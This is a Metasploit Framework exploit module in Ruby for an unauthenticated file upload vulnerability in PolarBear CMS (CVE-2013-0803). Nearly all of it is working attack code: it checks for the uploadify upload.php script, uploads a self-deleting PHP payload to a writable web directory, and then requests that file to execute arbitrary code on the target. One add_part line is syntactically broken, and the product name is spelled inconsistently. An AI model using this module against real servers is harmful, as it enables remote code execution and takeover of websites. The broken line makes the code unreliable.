##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'PolarPearCms PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability found in PlarPear CMS
By abusing the upload.php file, a malicious user can upload a file to a temp
directory without authentication, which results in arbitrary code execution.
},
'Author' =>
[
'Fady Mohamed Osman' # @Fady_Osman
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0803' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 21 2012'))
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) ,
OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms'])
], self.class)
end
def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php')
})
if not res or res.code != 200
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Appears
end
def exploit
uri = target_uri.path
upload_dir = normalize_uri("#{datastore['UPLOADDIR']}/")
peer = "#{rhost}:#{rport}"
@payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)
data = Rex::MIME::Message.new
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/',, nil, nil, "form-data; name=\"folder\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
print_status("#{peer} - Uploading payload #{@payload_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', "upload.php?folder=#{upload_dir}"),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if not res or res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
end
upload_uri = "#{upload_dir}#{@payload_name}"
print_status("#{peer} - Executing payload #{@payload_name}")
res = send_request_raw({
'uri' => upload_uri,
'method' => 'GET'
})
end
end
